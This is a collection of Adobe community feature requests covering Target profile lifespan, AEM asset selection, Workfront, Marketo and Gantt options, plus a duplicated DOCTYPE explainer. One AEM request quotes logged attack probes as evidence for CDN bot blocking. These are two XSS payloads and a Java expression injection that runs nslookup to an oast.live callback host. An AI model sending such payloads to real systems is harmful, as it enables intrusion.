I recently learned that the lifespan of my data in the Adobe Target visitor profile is a max of 90 days (default is 14 days). This is too short! I work in a business that drives toward one day a year - we have one transaction per client per year, but their likely-hood to convert similarly year over year is very high. Can this lifespan be extended to a max of at least 12 months (24-36 would be amazing)?
Request for Feature Enhancement (RFE) Summary: Currently when users have to select assets or folders, they need to hover over for the small tick on the left-corner of a folder (in card view). Use-case: The current approach is not user-friendly and time-consuming. For examples, editors have to select 50 assets out of 800 within a folder. Usually the editors use 'card view' which ensures a thumbnail preview of the assets. Editors then have to select each asset by clicking on top-right corner of each one. Current/Experienced Behavior: Currently when users have to select assets or folders, they need to hover over for a small tick on the left-corner of a folder (in card view). Improved/Expected Behavior: More user-friendly way of quickly selecting assets or folders. A big hover-over enabling the selection of assets or folders. Environment Details (AEM version/service pack, any other specifics if applicable): AEM Assets as a cloud service Customer-name/Organization name: Hugo Boss Screenshot (if applicable): Code package (if applicable):
Background: When an Exclusion is set up there are two options:1. "Add Exclusion" The end result is you get a container that you can drag into in order to correctly exclude an audience.2. "Exclude this Audience" This option adds All Visitors back into the audience and then only removes the audience that you had selected.The first option works as expected and should be left in place. However the second option is confusing and redundant (Everything it does can be accomplished out of the box by only have one “Add Exclusion” option with an audience of choice.)Feature: Please remove this second option from the interface as it is adding a lot of confusion when setting up exclusions.
Missing DOCTYPE declaration on a webpage often disables the Adobe Target library, without which the personalization is not possible on your site pages.Target library at.js requires the HTML5 doctype. The syntax is: <!DOCTYPE html>.HTML DOCTYPE must be the very first thing in your HTML document before the HTML tags. It acts as an instruction to the web browser about the version of the markup language in which the page is written.Initially, the Doctype declaration was used in HTML when it was defined as a language based on SGML and later XML. Since the presence of that declaration was in general a signal that the document author followed the standard practices and then this declaration was used in HTML5 to distinguish between standards-complaint parsing mode and a so-called quirk parsing mode.The HTML5 doctype ensures that the page loads in standard mode. Some JavaScript APIs gets disabled when a site page loads in quirks mode. Target library also depends on some JS APIs which gets disabled with quirks mode. Whether the document is parsed in standard mode or quirks mode, or simply parsing the same way across HTML5 processors, the doctype is a critical component of a quality HTML document.In the past, the declaration was passive – ignored by the browser until you’d validate the document where the validator would use the DOCTYPE declaration to compare your document with the declared Document Type Definition (DTD). But with the technology known as DOCTYPE switching has made using the correct DOCTYPE declaration not only important, but imperative. On finding a correct DOCTYPE in the document, browsers allow page to render in standard mode.The idea here is to -understand how important is DOCTYPE Declaration on a webpage,what makes up a correct declaration, andmost importantly, including the correct DOCTYPE declaration in a page is required to enable Target libraries effectively.Hope this helps!Thanks,Khushboo Kalia
Missing DOCTYPE declaration on a webpage often disables the Adobe Target library, without which the personalization is not possible on your site pages.Target library at.js requires the HTML5 doctype. The syntax is: <!DOCTYPE html>.HTML DOCTYPE must be the very first thing in your HTML document before the HTML tags. It acts as an instruction to the web browser about the version of the markup language in which the page is written.Initially, the Doctype declaration was used in HTML when it was defined as a language based on SGML and later XML. Since the presence of that declaration was, in general, a signal that the document author followed the standard practices and then this declaration was used in HTML5 to distinguish between standards-compliant parsing mode and a so-called quirk parsing mode.The HTML5 doctype ensures that the page loads in standard mode. Some JavaScript APIs gets disabled when a site page loads in quirks mode. Target library also depends on some JS APIs which gets disabled with quirks mode. Whether the document is parsed in standard mode or quirks mode, or simply parsing the same way across HTML5 processors, the doctype is a critical component of a quality HTML document.In the past, the declaration was passive – ignored by the browser until you’d validate the document where the validator would use the DOCTYPE declaration to compare your document with the declared Document Type Definition (DTD). But with the technology known as DOCTYPE switching has made using the correct DOCTYPE declaration not only important, but imperative. On finding a correct DOCTYPE in the document, browsers allow page to render in standard mode.The idea here is to -understand how important is DOCTYPE Declaration on a webpage,what makes up a correct declaration, andmost importantly, including the correct DOCTYPE declaration in a page is required to enable Target libraries effectively.
That will be helpful if there is a feature to upload multiple files in the file resources. There was a solution given in forum - uploading file from ftp then loop back: I want to Upload images to Public resources every morning. Is it possible to automate this process. I achieved this using a workflow - I asked a question in forum and fixed the issues that I faced: Copying file to '/usr/local/neolane/nl6/var/&lt;instance_name&gt;/&lt;file_name.extension&gt;' However, if there is a native method, that will be really helpful as that will reduce human work.Thanks,Somasundaram.
There are use cases where we need to have multiple proofs open at the same time. In the browser, this is not an issue at all, but now that we are doing Interactive proofs, this is becoming an issue. Use cases: User has two monitors and would like to compare versions that way then really tall and thin in one monitorUser is looking at a proof that is similar but not related to the current proof about some global settings for the brand and what was doneThere is an issue with the integration and a proof is create independent of the other versions so both need to be open to compare.They are waiting on a comment from someone else and while waiting they are working on something else. They don't want to lose the proof though so they don't forget about it.I'm sure there are more, but that is all I could think about.
It would make sense and be very helpful if a team that shares a mailbox to monitor emails for their team, could submit those request to Workfront from that shared inbox. Currently, our teams are forwarding the emails to their primary inbox to use the add-in OR manually entering a request into Workfront based on the email received in the shared inbox.
Having the source/reason attributes set to dynamic chat for the updates made by dynamic chat will help us filter on the field values updated specifically by the dynamic chat in the SL/triggers. Currently the source in the field updates made by dynamicChat in activity shows Web Service API, it’d be great if we could say if the values were updated by the dynamicChat specifically. Additionally, it'd also be great if dynamic chat is added as one of the input sources that we could check-mark to block updates in the field management section on the respective fields, if need be. There could be use-cases where we would wanna capture the data from dynamic chat for a new person but not update if there's already a non-empty value present on an existing person in the Marketo.
Request for Feature Enhancement (RFE) Summary: Search should support fuzzy search Use-case: Portal User is searching for specific pages on portal Current/Experienced Behavior: Search Index just returns exact matches Improved/Expected Behavior: Search Index returns fuzzy search matches as well Environment Details (AEM version/service pack, any other specifics if applicable): 2023.3.11382.20230315T073850Z Customer-name/Organization name: Telefonica Germany B2B Screenshot (if applicable): Code package (if applicable):
Description - There are certain settings that can be set on a Team, Group, or user profile, such as layout template. The current behavior is to use the priority of user, then team or group (not sure which takes priority). The problem with this default priority is that a Team cannot override the member's layout setting, making it impossible to standardize by team. The admin has to remove the individual user's layout template setting in order for the team's layout to apply. Why is this feature important to you - Cannot apply a standard using Team due to the current fixed priority order How would you like the feature to work - Add a setting to define the priority order between Company, Group, Team, User. The setting would allow the admin to set the order of priority for specific settings. Not all settings should have the same priority. Schedule would have a different priority order. Current Behaviour - Fixed priority order for layout template selection, so cannot standardize using Team.
Some thoughts to the improvement of the Gantt functionality:Support different colours within the Bars. For example. If the assigned people belong to different companies. That would be an easy way to share a project Gantt with customers as they would notice their tasks quickly due to the other colour.Settings:"Show task name in bar" checkbox"Show milestones + milestone title""Show vertical line for TODAY" (additionally to the green marks that are already in the cart)Export:Adjustment of the columns according to the content.If the project duration is very long, don't break the line. Please support a vertical scroll able PDF that shows the lines in one.
Hello!As our Project Managers work on different projects and have to switch often between them it would be great if Views an Filters could be set per project. Means for Project A I want to set Filter 1 and for Project B Filter 2. And if I switch between the projects the last filter selected on the project should remain set.If I am in the Gantt view and reload the project I would expect that the Gantt is opened again.ThxStephan
Request for Feature Enhancement (RFE) Summary: We want to have a redirect tool that's built-in with AEM. Not ACS or opensourcee code Use-case: Currently, the only way to have a redirect tool in AEM is to install the ACS commons redirect manager Current/Experienced Behavior: None. There is no built-in redirect tool within AEM. ACS is the only way Improved/Expected Behavior: - Bulk upload and delete- Search- Export of lists- Suggest unnecessary redirects (chain redirects) - AI capability - Suggest how redirects can be consolidated (like suggesting the use of regular expressions for multiple rules that are similar)- Capacity for 500,000 rules Environment Details (AEM version/service pack, any other specifics if applicable): AEMaCS Customer-name/Organization name: N/A Screenshot (if applicable): Code package (if applicable):
Request for Feature Enhancement (RFE) Summary: Would like to add the following feature: Block some known Bot Requests by IP in CDN in AEMaaCS. Ignoring URL Parameters at CDN is currently not possible. Use-case: We are getting a lot of Bot Requests in our Dispatcher and Publish Logs. Ideally we would like to block these requests at CDN itself. These requests are coming from multiple IP and are impacting the performance of the application.Request Types - 1. /Solar_Image.php?mode=resize&fname=test%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E2./$%7b@java.lang.Runtime@getRuntime().exec(%22nslookup%20cec9ut6t9v7cv1g00010h8moeyzz4cmdk.oast.live%22)%7d/3. /pacs/login.php?message=%3Cimg%20src=%22%22%20onerror=%22alert(1);%22%3E1%3C/img%3EThere should be a way to block the IP or perform the action at WAF layer to block these bots. Current/Experienced Behavior: The requests are blocked at Dispatcher currently but the logs are choked with these requests. Improved/Expected Behavior: The requests get blocked at CDN by either IP or query parameters to avoid request flow to Dispatcher. Environment Details (AEM version/service pack, any other specifics if applicable): AEMaaCS - Version - 2022.11.9850.20221116T162329Z-220900 Customer-name/Organization name: TA Digital Screenshot (if applicable): Code package (if applicable):
Enter your E-mail address. We'll send you an e-mail with instructions to reset your password.